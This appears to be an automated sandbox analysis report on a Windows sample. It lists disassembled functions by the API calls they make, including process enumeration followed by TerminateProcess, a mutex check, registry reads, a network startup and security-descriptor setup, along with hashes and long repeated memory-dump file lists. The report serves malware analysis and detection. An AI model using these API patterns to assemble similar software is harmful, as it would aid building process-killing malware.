Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt_memsetclosesocketsetsockoptshutdown
String ID: $#
API String ID: 2801799075-2491617062
Opcode ID: 7dd162b2d879bfe4346bbd1692b7d061af400eaaf96696b9c942a9b7f738c0e9
Instruction ID: bae6fc7fa5fe57df0146196dd1a311b28f625555cf53f25d3fd8dd294155c79e
Opcode Fuzzy Hash: 7dd162b2d879bfe4346bbd1692b7d061af400eaaf96696b9c942a9b7f738c0e9
Instruction Fuzzy Hash: 8B812AB090822DDFEB24DF84D949BEEBBB5FB44304F1082D9D5486B281D7B65A88CF51

Function 009369F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 115networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000002,?), ref: 00936B73

Part of subcall function 0093C3A0: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0093C3DB
Part of subcall function 0093C3A0: CheckTokenMembership.KERNELBASE(00000000,?,00000000), ref: 0093C3F4
Part of subcall function 0093C3A0: FreeSid.ADVAPI32(?), ref: 0093C409

WSACleanup.WS2_32 ref: 00936BCA

Part of subcall function 0092FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0092FE74
Part of subcall function 0092FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0092FEB2
Part of subcall function 0092FE20: __snwprintf.LIBCMT ref: 0092FEDA
Part of subcall function 0092FE20: CoTaskMemFree.COMBASE(?), ref: 0092FEF5

_memset.LIBCMT ref: 00936A7A
__snwprintf.LIBCMT ref: 00936A9F

Part of subcall function 0092A680: _memset.LIBCMT ref: 0092A6BF
Part of subcall function 0092A680: _memset.LIBCMT ref: 0092A70A
Part of subcall function 0092A680: CoInitializeEx.COMBASE(00000000,00000000), ref: 0092A754

LocalFree.KERNEL32(00000000), ref: 00936AD9

Strings

"%s%s", xrefs: 00936A8E
{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}, xrefs: 00936ABE

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Free_memset$InitializeLocal__snwprintf$AllocAllocateCheckCleanupFolderKnownMembershipPathStartupTaskToken
String ID: "%s%s"${5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
API String ID: 839979059-1931007831
Opcode ID: 68a9a6bca00faee6fe3f212f8af632d423fa976da06014b66dc25565071ed0f9
Instruction ID: 94745ecee79e9ba1cfff8c7206fa339ba418f3ede23de40a422540fec0abf8fa
Opcode Fuzzy Hash: 68a9a6bca00faee6fe3f212f8af632d423fa976da06014b66dc25565071ed0f9
Instruction Fuzzy Hash: 9241C470A95314BBEB24EB68DC97FA53278A755B09F108459F208BA1D0E6F06A84CF16

Function 00948307 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 009483CD

Strings

FlsGetValue, xrefs: 00948333
FlsFree, xrefs: 0094834D
FlsSetValue, xrefs: 00948340
FlsAlloc, xrefs: 0094832B
KERNEL32.DLL, xrefs: 0094830A

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: __init_pointers
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3952806059-3819984048
Opcode ID: bfb1354bc0ffe8fe75eed8cfeab6ed126005cc0ca166e1010b0084ee2fb9bbde
Instruction ID: 22869888cb66fd50660e1912acc8cdb417e42d39193842828e2465e8908aa7d6
Opcode Fuzzy Hash: bfb1354bc0ffe8fe75eed8cfeab6ed126005cc0ca166e1010b0084ee2fb9bbde
Instruction Fuzzy Hash: 8731AE7192EB119AC710AF7DBC84E1F3BB5EB85764708062BE918932B0DF799441EF50

Function 00930400 Relevance: 10.6, APIs: 7, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0093044D
_memset.LIBCMT ref: 00930463
SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 009304A0
LocalAlloc.KERNEL32(00000040,00000014), ref: 009304B3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 009304C8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 009304DE
LocalFree.KERNEL32(00000000), ref: 009304F1

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: DescriptorInitializeLocalSecurity$AllocAllocateDaclEntriesFree_memset
String ID:
API String ID: 4046344516-0
Opcode ID: ea5edae75c643a86590cfec3e96f2d206f502baa1bfca5436ff9dce75f9a3bb5
Instruction ID: 7beb08d13d08cc7982ff1ca6bb22d328ad9daf777432a35c0337bfba85acae9d
Opcode Fuzzy Hash: ea5edae75c643a86590cfec3e96f2d206f502baa1bfca5436ff9dce75f9a3bb5
Instruction Fuzzy Hash: FA311C70E55208EFEB00DFE4D89DBEEBBB8AB44704F104559E600BA2D1E7B95644CBA1

Function 00922490 Relevance: 10.6, APIs: 7, Instructions: 68processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 009224A4
Process32FirstW.KERNEL32(00000000,0000022C), ref: 009224CC
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0092253C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0092255A
CloseHandle.KERNEL32(00000000), ref: 00922567
Process32NextW.KERNEL32(00000000,0000022C), ref: 0092257F
CloseHandle.KERNEL32(00000000), ref: 00922591

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 175d98b7b39f853d8e822e7e5eeadf8b8ea663935cc33bc9766fbfe464da7638
Instruction ID: 641e0c39a74ef012e77c6ee627fd250ef11f57771a56448f2b90f70ee33972fc
Opcode Fuzzy Hash: 175d98b7b39f853d8e822e7e5eeadf8b8ea663935cc33bc9766fbfe464da7638
Instruction Fuzzy Hash: E2214FB1905228EBDB24DF64DD9CBADB778FB44304F204699E109A61D4C7789F80DF50

Function 00921900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 009219D2
OpenMutexW.KERNEL32(00100000,00000000,{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}), ref: 009219EB
WaitForSingleObject.KERNEL32(000003B0,0000000A), ref: 00921A08
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00921C2B
ExitProcess.KERNEL32 ref: 00921C4A

Strings

{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}, xrefs: 009219DF

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$ExitMutexOpenProcess
String ID: {116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}
API String ID: 908204964-2441466998
Opcode ID: 2d9c8c1afd2acda4d5aff139eaf362aca209f1e2159cc69fc959ab36f13ce19d
Instruction ID: cec26b6aad2b616549b1f13c182ebc14273c56187dadf93abdd2fc6700a6189a
Opcode Fuzzy Hash: 2d9c8c1afd2acda4d5aff139eaf362aca209f1e2159cc69fc959ab36f13ce19d
Instruction Fuzzy Hash: DA21A1B09141648FCB34DF58FDC5BD873BEABA4304F1045AAE249A2199CBB469D0DF11

Function 0092A0F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62registrymemoryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0092A113
RegGetValueW.ADVAPI32(80000001,?,-00008688,00000008,00000000,00000000,00000000), ref: 0092A148
LocalAlloc.KERNEL32(00000040,00000000), ref: 0092A158
RegGetValueW.ADVAPI32(80000001,?,-00008688,00000008,00000000,00000000,00000000), ref: 0092A189
LocalFree.KERNEL32(00000000), ref: 0092A1A4

Strings

SOFTWARE\%s, xrefs: 0092A102

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

